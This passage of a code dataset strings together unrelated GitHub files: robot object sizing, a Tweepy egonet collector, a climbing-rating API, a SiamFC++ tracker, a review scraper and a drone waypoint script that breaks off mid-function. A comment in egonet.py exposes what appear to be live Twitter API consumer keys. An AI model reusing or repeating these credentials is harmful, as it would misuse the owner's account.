\"hocker_a\",\r\n \"robotino\",\r\n ]\r\n boundry = False\r\n corners_3D = []\r\n label = label[0:-5]\r\n if label in [\"workstation_c\", \"workstation_a\"]:\r\n h_real = 0.95\r\n w_real = 1.15\r\n d_real = 0.80\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n elif label in movable_names:\r\n if label in [\"sklappbox_c\", \"sklappbox_a\", \"klappbox_c\", \"klappbox_a\"]:\r\n h_real = 0.465\r\n w_real = 0.48\r\n d_real = 0.35\r\n if label[0] == \"s\":\r\n w_real_ = w_real\r\n w_real = d_real\r\n d_real = w_real_\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n\r\n if label in [\"sbox_c\", \"sbox_a\", \"box_c\", \"box_a\"]:\r\n h_real = 0.482\r\n w_real = 0.353\r\n d_real = 0.238\r\n if label[0] == \"s\":\r\n w_real_ = w_real\r\n w_real = d_real\r\n d_real = w_real_\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n\r\n if label in [\"hocker_c\", \"hocker_a\"]:\r\n h_real = 0.51\r\n w_real = 0.32\r\n d_real = 0.32\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n\r\n if label == \"chair\":\r\n h_real = 1.04\r\n w_real = 0.7\r\n d_real = 0.7\r\n # TODO expand to cirle version\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n if label == \"robotino\":\r\n # TODO get real measurments\r\n h_real = 0.33\r\n w_real = 0.45\r\n d_real = 0.45\r\n # TODO expand to cirle version\r\n (\r\n depth,\r\n shift,\r\n depth_c,\r\n shift_c,\r\n rot,\r\n sizes,\r\n boundry,\r\n corners_3D,\r\n ) = apply_for_cube(xyxy, label, corners_3D, boundry, h_real, w_real, d_real)\r\n else:\r\n raise ValueError(\"unknown label\")\r\n\r\n return corners_3D, boundry, (depth, shift, depth_c, shift_c, rot)\r\n\r\n\r\n# TODO the sides need to not take the outer for the startposition neeed to use the side that is in the picture instead\r\n# TODO the sides need to be done in a way that actually sets the image side when using 0\r\n","repo_name":"NachtaktiverHalbaffe/Robotino-Situational-Risk-Assessment","sub_path":"src/yolov7/utils/convert2d_to_3d.py","file_name":"convert2d_to_3d.py","file_ext":"py","file_size_in_byte":10492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"36032631055","text":"# Get egonet of a user and write it into a Gephi file\n# The egonet is made of all its neighbours and the edges between neighbours (followers or followees)\n# author: Alberto Lumbreras\n###########################################################################\nimport argparse\nimport csv\nimport os\nimport time\nimport tweepy\nimport yaml\nfrom tweepy import TweepError\nfrom xml.sax.saxutils import escape\nfrom utils import screen_names, api_neighbours_ids, fetch_neighbours, make_adjacency_matrix\nfrom config import PATHS\n\n# Read keys from file that contains\n# CONSUMER_KEY: 6it3IkPFI4RNIGhIci1w\n# CONSUMER_SECRET: zGUE1bTucHcNn5IxFNyBP8dN2EvbrMtij5xuWHqcW0\nwith open('config.yml', 'r') as f:\n doc = yaml.load(f, Loader=yaml.FullLoader)\n CONSUMER_KEY = doc[\"CONSUMER_KEY\"]\n CONSUMER_SECRET = doc[\"CONSUMER_SECRET\"]\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\napi = tweepy.API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True, retry_delay=60)\n\n\ndef ego_neighbourhood(ego_screenname, direction = \"in\", force = False):\n \"\"\" Get the neighbours of ego and the neighbours of its neighbours\n Store everyting in files\n \"\"\"\n ego = api.get_user(ego_screenname).id\n neighbours = api_neighbours_ids(ego, api, direction= direction)\n users = neighbours.append(ego)\n\n # Fetch neighbours of each ego neighbour\n for i, userid in enumerate(neighbours):\n print(\"Processed:\" + str(i) + \"/\" + str(len(neighbours)))\n print(\"User: \", str(userid))\n n = fetch_neighbours(userid, api, direction = direction, force = force)\n print(\"neighbours: \", n)\n\n # Fetch screen names\n screen_names(neighbours, api)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-u\", \"--user\", required=True, help=\"Screen name of twitter user\")\n parser.add_argument(\"-f\", \"--function\", required=True, help=\"Function to execute\",\n choices=['followers', 'followees', 'followers_graph', 'followees_graph'])\n parser.add_argument(\"--force\", type=bool, required=False, help=\"Forces re-fetching of users\")\n\n args = vars(parser.parse_args())\n user = args['user']\n function = args['function']\n force = args['force']\n\n while(True): \n try:\n if function == 'followers':\n ego_neighbourhood(user, direction = \"in\", force = force)\n if function == 'followees':\n ego_neighbourhood(user, direction = \"out\", force = force)\n break\n except TweepError as e:\n print(e)\n time.sleep(60)\n\n if function == 'followers_graph':\n # Set up users to include in the graph (ego and neighbours)\n ego = api.get_user(user).id \n with open(os.path.join(PATHS['in'], str(ego)), 'r') as f:\n ego_neighbours = [int(id) for line in csv.reader(f) for id in line]\n make_adjacency_matrix(ego_neighbours, direction = \"in\", file= user + + '_in.csv')\n\n if function == 'followees_graph': \n #graph_ego(screen_name, direction = \"out\")\n # Set up users to include in the graph (ego and neighbours)\n ego = api.get_user(user).id\n with open(os.path.join(PATHS['out'], str(ego)), 'r') as f:\n ego_neighbours = [int(id) for line in csv.reader(f) for id in line]\n make_adjacency_matrix(ego_neighbours, direction = \"out\", file= user + '_out.csv')\n","repo_name":"alumbreras/twitter-followers-graph","sub_path":"condor/egonet.py","file_name":"egonet.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"19"} +{"seq_id":"30818044630","text":"# -*- coding: utf-8 -*-\n\nimport cv2\nfrom realsense_camera import *\nfrom mask_rcnn import *\n\nrs = RealsenseCamera()\nmrcnn = MaskRCNN()\n\nwhile True:\n ret,bgr_frame, depth_frame = rs.get_frame_stream()\n \n boxes, classes, contours, centers = mrcnn.detect_objects_mask(bgr_frame)\n \n bgr_frame = mrcnn.draw_object_mask(bgr_frame)\n \n mrcnn.draw_object_info(bgr_frame, depth_frame)\n cv2.imshow(\"depth frame\", depth_frame)\n cv2.imshow(\"Bgr frame\", bgr_frame)\n \n key = cv2.waitKey(1)\n if key == 27:\n break","repo_name":"Ithza-Lopez/RockyRobotics","sub_path":"Discard_folder/Detection_files/TestFile_depth.py","file_name":"TestFile_depth.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"39191008403","text":"from datetime import datetime\n\nfrom dateutil.relativedelta import relativedelta\nfrom fastapi import APIRouter, Depends, Query\nfrom fastapi_users_db_sqlmodel import UUID4, AsyncSession, selectinload\nfrom pydantic import BaseModel, Field\nfrom sqlalchemy import case, desc, func, or_, select\n\nfrom climbing.core.score_maps import category_to_score_map, place_to_score_map\nfrom climbing.crud import ascent as crud_ascent\nfrom climbing.db.models.ascent import Ascent\nfrom climbing.db.models.category import Category\nfrom climbing.db.models.competition import Competition\nfrom climbing.db.models.competition_participant import CompetitionParticipant\nfrom climbing.db.models.route import Route\nfrom climbing.db.models.user import User\nfrom climbing.db.session import get_async_session\nfrom climbing.schemas.competition_participant import (\n CompetitionParticipantReadWithAll,\n)\nfrom climbing.schemas.score import Score\n\nrouter = APIRouter()\n\n\ndef get_place_score(place: int, users_count: int) -> float:\n \"\"\"Calculates score for place\"\"\"\n\n return sum(\n [\n place_to_score_map.get(place, 0)\n for place in range(place, users_count + place)\n ]\n ) / (users_count)\n\n\n@router.get(\n \"\",\n name=\"rating:rating\",\n response_model=list[Score],\n)\nasync def rating(\n session: AsyncSession = Depends(get_async_session),\n start_date: datetime = Query(None),\n end_date: datetime = Query(None),\n):\n \"\"\"Получение подъёмов за последнии полтора месяца для рейтинга\"\"\"\n\n if end_date is None:\n end_date = datetime.now()\n end_date = end_date.date() + relativedelta(\n hours=23, minutes=59, seconds=59\n )\n\n if start_date is None:\n start_date = end_date + relativedelta(months=-1, days=-15)\n start_date = start_date.date()\n\n categories_case = case(value=Route.category, whens=category_to_score_map)\n # Calculate routes scores\n ascents_with_score = (\n select(\n Ascent,\n categories_case.label(\"route_cost\"),\n func.row_number()\n .over(partition_by=Ascent.user_id, order_by=desc(categories_case))\n .label(\"route_priority\"),\n )\n .options(*crud_ascent.select_options)\n .where(Ascent.date >= start_date)\n .where(Ascent.date <= end_date)\n .join(Route)\n .group_by(Ascent.user_id, Ascent.route_id)\n .order_by(desc(\"route_priority\"))\n )\n subq = ascents_with_score.subquery()\n users_with_ascents_score = (\n select(\n User, func.coalesce(func.sum(subq.c.route_cost), 0).label(\"score\")\n )\n .outerjoin_from(User, subq, subq.c.user_id == User.id)\n .where(\n or_(\n subq.c.route_priority < 6,\n # pylint: disable=singleton-comparison\n subq.c.route_priority == None, # noqa: E711\n )\n )\n .group_by(User.id)\n .order_by(desc(\"score\"))\n )\n\n user: User\n routes_competition_table: dict[float, list[User]] = {}\n for user, ascents_score in (\n await session.execute(users_with_ascents_score)\n ).all():\n if ascents_score not in routes_competition_table:\n routes_competition_table[ascents_score] = []\n routes_competition_table[ascents_score].append(user)\n\n scores: dict[UUID4, Score] = {}\n place = 0\n previous_score = -1.0\n for score, users in sorted(\n routes_competition_table.items(), key=lambda x: x[0], reverse=True\n ):\n if score != previous_score:\n place += 1\n previous_score = score\n rating_score = get_place_score(place, len(users) or 1)\n for user in users:\n scores[user.id] = Score(\n user=user, score=rating_score, ascents_score=score, place=place\n )\n\n # Calculate competitions scores\n competition_participants: list[CompetitionParticipant] = (\n (\n await session.execute(\n select(CompetitionParticipant)\n .options(\n selectinload(\n CompetitionParticipant.competition\n ).selectinload(Competition.participants),\n selectinload(CompetitionParticipant.user),\n )\n .join(Competition)\n .where(Competition.date >= start_date)\n .where(Competition.date <= end_date)\n )\n )\n .scalars()\n .all()\n )\n\n for participant in competition_participants:\n current_score = scores[participant.user_id]\n current_score.participations.append(\n CompetitionParticipantReadWithAll.from_orm(participant)\n )\n participants_on_same_place = [\n _participant\n for _participant in participant.competition.participants\n if _participant.place == participant.place\n ]\n current_score.score += (\n get_place_score(participant.place, len(participants_on_same_place))\n * participant.competition.ratio\n )\n sorted_scores = sorted(\n scores.values(), key=lambda score: score.score, reverse=True\n )\n if sorted_scores:\n sorted_scores[0].place = 1\n for i, score in tuple(enumerate(sorted_scores))[1:]:\n score.place = sorted_scores[i - 1].place\n if sorted_scores[i - 1].score != score.score:\n score.place += 1\n return sorted_scores\n\n\nclass CategoryToScore(BaseModel):\n \"\"\"Модель для описания цены категории\"\"\"\n\n category: Category = Field(..., title=\"Категория\")\n score: float = Field(..., title=\"Количество очков за прохождение\")\n\n\n@router.get(\"/category_score_map\", response_model=list[CategoryToScore])\ndef category_score_map():\n \"\"\"Список оценок трасс\"\"\"\n return [\n CategoryToScore(category=category, score=score)\n for category, score in category_to_score_map.items()\n ]\n\n\nclass PlaceToScore(BaseModel):\n \"\"\"Модель для описания цены места\"\"\"\n\n place: int = Field(..., title=\"Место\")\n score: float = Field(..., title=\"Количество очков за место\")\n\n\n@router.get(\"/competition_score_map\", response_model=list[PlaceToScore])\ndef competition_score_map():\n \"\"\"Список оценок мест в соревнованиях\"\"\"\n return [\n PlaceToScore(place=place, score=score)\n for place, score in place_to_score_map.items()\n ]\n","repo_name":"Ae-Mc/climbing-app-backend","sub_path":"climbing/api/api_v1/endpoints/rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"32033991713","text":"\"\"\"\n This file is part of immanuel - (C) The Rift Lab\n Author: Robert Davies (robert@theriftlab.com)\n\n\n Defines the supported chart aspects.\n\n\"\"\"\n\nCONJUNCTION = 0.0\nOPPOSITION = 180.0\nSQUARE = 90.0\nTRINE = 120.0\nSEXTILE = 60.0\nSEPTILE = 51.43\nSEMISQUARE = 45.0\nSESQUISQUARE = 135.0\nSEMISEXTILE = 30.0\nQUINCUNX = 150.0\nQUINTILE = 72.0\nBIQUINTILE = 144.0\n","repo_name":"neuroplasticity9/immanuel-chart-data","sub_path":"immanuel/const/aspects.py","file_name":"aspects.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"74090681642","text":"# -*- coding: utf-8 -*\n\nimport numpy as np\nfrom loguru import logger\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom siamfcpp.model.common_opr.common_block import (conv_bn_relu,\n xcorr_depthwise)\nfrom siamfcpp.model.module_base import ModuleBase\nfrom siamfcpp.model.task_model.taskmodel_base import (TRACK_TASKMODELS,\n VOS_TASKMODELS)\n\ntorch.set_printoptions(precision=8)\n\n\n@TRACK_TASKMODELS.register\n@VOS_TASKMODELS.register\nclass SiamTrack(ModuleBase):\n r\"\"\"\n SiamTrack model for tracking\n\n Hyper-Parameters\n ----------------\n pretrain_model_path: string\n path to parameter to be loaded into module\n head_width: int\n feature width in head structure\n \"\"\"\n\n default_hyper_params = dict(pretrain_model_path=\"\",\n head_width=256,\n conv_weight_std=0.01,\n neck_conv_bias=[True, True, True, True],\n corr_fea_output=False)\n\n def __init__(self, backbone, head, loss=None):\n super(SiamTrack, self).__init__()\n self.basemodel = backbone\n self.head = head\n self.loss = loss\n\n def forward(self, *args, phase=\"train\"):\n r\"\"\"\n Perform tracking process for different phases (e.g. train / init / track)\n\n Arguments\n ---------\n target_img: torch.Tensor\n target template image patch\n search_img: torch.Tensor\n search region image patch\n\n Returns\n -------\n fcos_score_final: torch.Tensor\n predicted score for bboxes, shape=(B, HW, 1)\n fcos_bbox_final: torch.Tensor\n predicted bbox in the crop, shape=(B, HW, 4)\n fcos_cls_prob_final: torch.Tensor\n classification score, shape=(B, HW, 1)\n fcos_ctr_prob_final: torch.Tensor\n center-ness score, shape=(B, HW, 1)\n \"\"\"\n if phase == 'train':\n # resolve training data\n training_data = args[0]\n target_img = training_data[\"im_z\"]\n search_img = training_data[\"im_x\"]\n # backbone feature\n f_z = self.basemodel(target_img)\n f_x = self.basemodel(search_img)\n # feature adjustment\n c_z_k = self.c_z_k(f_z)\n r_z_k = self.r_z_k(f_z)\n c_x = self.c_x(f_x)\n r_x = self.r_x(f_x)\n # feature matching\n r_out = xcorr_depthwise(r_x, r_z_k)\n c_out = xcorr_depthwise(c_x, c_z_k)\n # head\n fcos_cls_score_final, fcos_ctr_score_final, fcos_bbox_final, corr_fea = self.head(\n c_out, r_out)\n predict_data = dict(\n cls_pred=fcos_cls_score_final,\n ctr_pred=fcos_ctr_score_final,\n box_pred=fcos_bbox_final,\n )\n if self._hyper_params[\"corr_fea_output\"]:\n predict_data[\"corr_fea\"] = corr_fea\n return predict_data\n elif phase == 'feature':\n target_img, = args\n # backbone feature\n f_z = self.basemodel(target_img)\n # template as kernel\n c_z_k = self.c_z_k(f_z)\n r_z_k = self.r_z_k(f_z)\n # output\n out_list = [c_z_k, r_z_k]\n\n elif phase == 'track':\n if len(args) == 3:\n search_img, c_z_k, r_z_k = args\n # backbone feature\n f_x = self.basemodel(search_img)\n # feature adjustment\n c_x = self.c_x(f_x)\n r_x = self.r_x(f_x)\n elif len(args) == 4:\n # c_x, r_x already computed\n c_z_k, r_z_k, c_x, r_x = args\n else:\n raise ValueError(\"Illegal args length: %d\" % len(args))\n\n # feature matching\n r_out = xcorr_depthwise(r_x, r_z_k)\n c_out = xcorr_depthwise(c_x, c_z_k)\n # head\n fcos_cls_score_final, fcos_ctr_score_final, fcos_bbox_final, corr_fea = self.head(\n c_out, r_out)\n # apply sigmoid\n fcos_cls_prob_final = torch.sigmoid(fcos_cls_score_final)\n fcos_ctr_prob_final = torch.sigmoid(fcos_ctr_score_final)\n # apply centerness correction\n fcos_score_final = fcos_cls_prob_final * fcos_ctr_prob_final\n # register extra output\n extra = dict(c_x=c_x, r_x=r_x, corr_fea=corr_fea)\n # output\n out_list = fcos_score_final, fcos_bbox_final, fcos_cls_prob_final, fcos_ctr_prob_final, extra\n else:\n raise ValueError(\"Phase non-implemented.\")\n\n return out_list\n\n def update_params(self):\n r\"\"\"\n Load model parameters\n \"\"\"\n self._make_convs()\n self._initialize_conv()\n super().update_params()\n\n def _make_convs(self):\n head_width = self._hyper_params['head_width']\n\n # feature adjustment\n self.r_z_k = conv_bn_relu(head_width,\n head_width,\n 1,\n 3,\n 0,\n has_relu=False)\n self.c_z_k = conv_bn_relu(head_width,\n head_width,\n 1,\n 3,\n 0,\n has_relu=False)\n self.r_x = conv_bn_relu(head_width, head_width, 1, 3, 0, has_relu=False)\n self.c_x = conv_bn_relu(head_width, head_width, 1, 3, 0, has_relu=False)\n\n def _initialize_conv(self, ):\n conv_weight_std = self._hyper_params['conv_weight_std']\n conv_list = [\n self.r_z_k.conv, self.c_z_k.conv, self.r_x.conv, self.c_x.conv\n ]\n for ith in range(len(conv_list)):\n conv = conv_list[ith]\n torch.nn.init.normal_(conv.weight,\n std=conv_weight_std) # conv_weight_std=0.01\n\n def set_device(self, dev):\n if not isinstance(dev, torch.device):\n dev = torch.device(dev)\n self.to(dev)\n if self.loss is not None:\n for loss_name in self.loss:\n self.loss[loss_name].to(dev)\n","repo_name":"HonglinChu/SiamTrackers","sub_path":"SiamFCpp/SiamFCpp-video_analyst/siamfcpp/model/task_model/taskmodel_impl/siamese_track.py","file_name":"siamese_track.py","file_ext":"py","file_size_in_byte":6425,"program_lang":"python","lang":"en","doc_type":"code","stars":1133,"dataset":"github-code","pt":"19"} +{"seq_id":"20749153961","text":"import requests\nfrom bs4 import BeautifulSoup\nimport time\n\n\"\"\"list=soup.find_all(class_ =\"review-title\", itemprop=\"name\")\nelement =list[0]\n\nurl= \"https://otzovik.com/\"+element.get('href')\nhtml_text = requests.get(URL, headers={\"User-Agent\": user_agent}).text\nsoup = BeautifulSoup(html_text, 'lxml')\n\nlist1=soup.find()\n\"\"\"\n\n\ndef main():\n #'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'\n #html_text = requests.get(URL, headers={\"User-Agent\": user_agent}).text\n #soup = BeautifulSoup(html_text, 'lxml')\n #print(html_text)\n #block_of_ratios=soup.find('div',href=True)\n #print(block_of_ratios)\n #ratios=block_of_ratios.find_all(href=True)\n #print(ratios)\n\n for i in range (1,2): # для каждой звезды\n #time.sleep(1000)\n \n\n html_text = requests.get(base_URL+'/?ratio='+str(i), headers={\"User-Agent\": user_agent},proxies=proxy).text\n soup = BeautifulSoup(html_text, 'lxml')\n info_max_page=soup.find('a',class_='pager-item last tooltip-top', href=True)\n print(soup)\n info_max_page=info_max_page['href']\n slash=info_max_page.split('/')\n print(slash[3])\n for j in range (1): # slash[3]\n time.sleep(1000)\n html_text=requests.get(base_URL+'/'+str(j)+'/?ratio='+str(i), headers={\"User-Agent\": user_agent}).text\n soup = BeautifulSoup(html_text, 'lxml')\n info_otziv=soup.find_all(class_ =\"review-title\", itemprop=\"name\")\n print(info_otziv)\n\n\nif __name__=='__main__':\n main()\n","repo_name":"kingtuler1454/ParsingOtzovik","sub_path":"variant9.py","file_name":"variant9.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"5657812718","text":"with open(\"3.txt\") as f:\n nums = [x for x in f.read().split(\"\\n\")]\n totals = [0] * len(nums[0])\n for n in nums:\n for i, c in enumerate(n):\n totals[i] += 1 if c == \"1\" else -1\n gamma = int(\"\".join(map(lambda x: \"1\" if x > 0 else \"0\", totals)), 2)\n epsilon = int(\"\".join(map(lambda x: \"1\" if x <= 0 else \"0\", totals)), 2)\n print(\"part 1: {}\".format(gamma * epsilon))\n\n nums = sorted(nums)\n\n def process(nums, flip):\n for i in range(len(nums[0])):\n index = next((j for j, n in enumerate(nums) if n[i] == \"1\"), len(nums))\n cmp = index > len(nums) / 2 if flip else index <= len(nums) / 2\n nums = nums[index:] if cmp else nums[:index]\n if len(nums) == 1:\n return int(nums[0], 2)\n\n print(\"part 2: {}\".format(process(nums, True) * process(nums, False)))\n","repo_name":"novoselov-ab/adventofcode-2021-python","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"20784758793","text":"from pyquery import PyQuery\nfrom lxml.etree import XMLSyntaxError\n\nfrom nose.tools import assert_raises\nfrom mock import patch, sentinel\n\nfrom bosley import remote, settings\n\nimport fixtures\n\n\n@patch('bosley.remote.httplib2.Http.request')\n@patch('bosley.remote.PyQuery')\ndef test_query(pq_mock, request_mock):\n request_mock.return_value = sentinel.response, sentinel.content\n url = 'foo'\n\n remote.query(url)\n\n request_mock.assert_called_with(settings.BASE + url)\n pq_mock.assert_called_with(sentinel.content, parser='xml')\n\n\n@patch('bosley.remote.query')\ndef test_discover(query_mock):\n remote.discover()\n query_mock.assert_called_with('discover=1')\n\n\n@patch('bosley.remote.query')\ndef test_test(query_mock):\n case = 'foo'\n remote.test(case)\n query_mock.assert_called_with('case=%s' % case)\n\n\ndef syntax_error(*args):\n # Requires positional args, don't care what they are.\n raise XMLSyntaxError(1, 2, 3, 4)\n\n\n@patch('bosley.remote.discover')\ndef test_cases_error(discover_mock):\n discover_mock.side_effect = syntax_error\n assert_raises(remote.DiscoveryError, remote.cases)\n\n\n@patch('bosley.remote.test')\ndef test_analyze_error(test_mock):\n test_mock.side_effect = syntax_error\n assert_raises(remote.BrokenTest, remote.analyze, 'case')\n\n\n@patch('bosley.remote.discover')\ndef test_cases(discover_mock):\n discover_mock.return_value = PyQuery(fixtures.discover_xml)\n assert remote.cases() == ['app_controller.test.php',\n 'controllers/addons_controller.test.php']\n\n\n@patch('bosley.remote.test')\ndef test_analyze(test_mock):\n test_mock.return_value = PyQuery(fixtures.testcase_xml)\n assert remote.analyze('bla') == (5, 1)\n\n\n@patch('bosley.remote.test')\ndef test_analyze2(test_mock):\n test_mock.return_value = PyQuery(fixtures.testcase_xml)\n expected = {'testDefaults': (['Default shadow db'], []),\n 'testPopulated': (['Populated shadow db'], []),\n 'testFallback': (['Fallback to shadow', 'Disabled shadow'],\n ['Shadow databases']),\n 'testNoErrors': (['Should be no errors'], []),\n }\n actual = remote.analyze2('bla')\n assert actual.keys() == expected.keys()\n for name, (e_passing, e_failing) in expected.items():\n a_passing, a_failing = actual[name]\n for a, e in zip(a_passing, e_passing):\n assert a.startswith(e)\n for a, e in zip(a_failing, e_failing):\n assert a.startswith(e)\n\n\n@patch('bosley.remote.test')\ndef test_analyze2_error(test_mock):\n test_mock.side_effect = syntax_error\n assert_raises(remote.BrokenTest, remote.analyze2, 'case')\n\n\n@patch('bosley.remote.test')\ndef test_analyze2_unknown_error(test_mock):\n\n def error():\n raise Exception\n test_mock.side_effect = error\n assert_raises(remote.BrokenTest, remote.analyze2, 'case')\n","repo_name":"jbalogh/bosley","sub_path":"bosley/tests/test_remote.py","file_name":"test_remote.py","file_ext":"py","file_size_in_byte":2893,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"13620487097","text":"# -*- coding:utf-8 -*-\n\ndef run():\n number = int(input('Escribe un número: '))\n resultado = esPrimo(number)\n if resultado == True:\n print('Es primo')\n else:\n print('NO es primo')\n\n\ndef esPrimo(number):\n contador = 0\n\n for i in range(1, number + 1):\n if number % i == 0:\n contador = contador + 1\n\n if contador == 2:\n return True\n else:\n return False\n\nif __name__ == '__main__':\n run()\n","repo_name":"dfrivera90/python","sub_path":"evaluarPrimo.py","file_name":"evaluarPrimo.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15955662820","text":"\"\"\"\nIn some languages, it's common to use camel case (otherwise known as “mixed case”) for variables' names\nwhen those names comprise multiple words,\nwhereby the first letter of the first word is lowercase but the first letter of each subsequent word\nis uppercase.\n\nPython, by contrast, recommends snake case, whereby words are instead separated\nby underscores (_), with all letters in lowercase.\n\nImplement a program that prompts the user for the name of a variable in camel case\nand outputs the corresponding name in snake case.\n\"\"\"\n\n\ndef main():\n user_input = input(\"Give something in camelCase: \")\n print(f\"camelCase: {user_input}\")\n user_input = snakeCase_convert(user_input)\n print(f\"snake_case: {user_input}\")\n\n\ndef snakeCase_convert(word: str) -> str:\n for i, letter in enumerate(word):\n if letter.isupper():\n word = word.replace(letter, \"_\" + letter.lower())\n return word\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alex-anast/cs50p_2023","sub_path":"2_loops/camel/camel.py","file_name":"camel.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27963731362","text":"import requests\r\nimport json\r\nimport os\r\nfrom dotenv import load_dotenv\r\n\r\nload_dotenv()\r\n\r\nurl = 'https://api.jcdecaux.com/vls/v3/stations/'\r\nparams = {'contract': 'lyon', 'apiKey': os.environ.get('VELOV_API_KEY')}\r\n\r\nprint(os.environ.get('VELOV_API_KEY'))\r\n\r\nstations = [\r\n {\r\n 'name': 'mc do',\r\n 'number': 10027\r\n },\r\n {\r\n 'name': 'pharmacie',\r\n 'number': 10079\r\n },\r\n {\r\n 'name': 'en face',\r\n 'number': 10011\r\n }\r\n]\r\n\r\n# return status, available_bikes, available_stands\r\ndef get_station_info(number):\r\n res = requests.get(url + str(number), params=params)\r\n\r\n if res.ok:\r\n data = json.loads(res.content.decode('utf-8'))\r\n return data['status'], data['mainStands']['availabilities']['bikes'], data['mainStands']['availabilities']['stands']\r\n else:\r\n return None\r\n\r\n\r\ndef get_velov_info():\r\n responses = []\r\n for station in stations:\r\n responses.append((requests.get(url + str(station['number']), params=params), station['name']))\r\n\r\n message = \"\"\r\n for response in responses:\r\n if response[0].ok:\r\n data = json.loads(response[0].content.decode('utf-8'))\r\n status = data['status']\r\n main_stands = data['mainStands']['availabilities']\r\n num_bikes = main_stands['bikes']\r\n num_stands = main_stands['stands']\r\n print(f\"Le statut de la station {data['name']} ({response[1]}) est : {status}\")\r\n print(f\"Nombre de vélos disponibles: {num_bikes}\")\r\n print(f\"Nombre de bornes disponibles: {num_stands}\")\r\n if status == 'OPEN':\r\n message += f\"{response[1]}, {num_bikes}/{num_stands} vélos dispo\\n\"\r\n else:\r\n print(\"La requête a échoué\")\r\n\r\n if message == \"\":\r\n return \"Error\"\r\n\r\n return message\r\n","repo_name":"quent36987/Noti-Velo","sub_path":"src/utils/veloAPI.py","file_name":"veloAPI.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"71284164204","text":"#!/usr/bin/env python\nfrom itertools import count\nimport rospy,os\nfrom geometry_msgs.msg import PoseStamped, Point, Vector3, Quaternion, Twist, Transform\nfrom tf.transformations import euler_from_quaternion, quaternion_from_euler \nfrom trajectory_msgs.msg import MultiDOFJointTrajectory, MultiDOFJointTrajectoryPoint\nfrom nav_msgs.msg import Odometry\nfrom ar_track_alvar_msgs.msg import AlvarMarkers,AlvarMarker\nfrom std_msgs.msg import Int32\nimport numpy as np\nfrom sensor_msgs.msg import Image\n\nzone = -1\nWAYPOINTS = []\n\ndef waypoints_generation():\n iterations = 20\n z = 3\n # right wall\n for i in range(iterations):\n WAYPOINTS.append([[2+(9-2)*i/(iterations-1),-4,z],[0,0,-0.707,0.707]])\n # yaw\n iterations = 7\n for i in range(iterations):\n WAYPOINTS.append([[9,-4,z],[0,0,-0.707+(0.707)*i/(iterations-1),0.707+(1-0.707)*i/(iterations-1)]])\n # front wall\n iterations = 10\n for i in range(iterations):\n WAYPOINTS.append([[9, -4+(7)*i/(iterations-1), z], [0, 0, 0, 1]])\n # yaw\n iterations = 7\n for i in range(iterations):\n WAYPOINTS.append([[9,4,z],[0,0,(0.707)*i/(iterations-1),1+(0.707-1)*i/(iterations-1)]])\n # left wall\n iterations = 20\n for i in range(iterations):\n WAYPOINTS.append([[9+(2-9)*i/(iterations-1), 4, z], [0, 0, 0.707, 0.707]])\n\nREACH_THRESHOLD = 0.4\n\npub1 = rospy.Publisher('red/tracker/input_pose', PoseStamped, queue_size=10)\npub2 = rospy.Publisher('/red/tracker/input_trajectory',MultiDOFJointTrajectory,queue_size=10)\npub3 = rospy.Publisher('/red/tag_position_reconstructed',Point,queue_size=10)\npub4 = rospy.Publisher('/red/tag_image_annotated',Image,queue_size=10)\ndetected = False\nreached_last_point = False\n\ndef reach_point(x,y):\n global drone_pose,REACH_THRESHOLD\n if(abs(drone_pose.pose.pose.position.x - x) < REACH_THRESHOLD and abs(drone_pose.pose.pose.position.y - y) < REACH_THRESHOLD):\n return True\n else:\n return False\n\ndef annotatedCallback(data):\n global 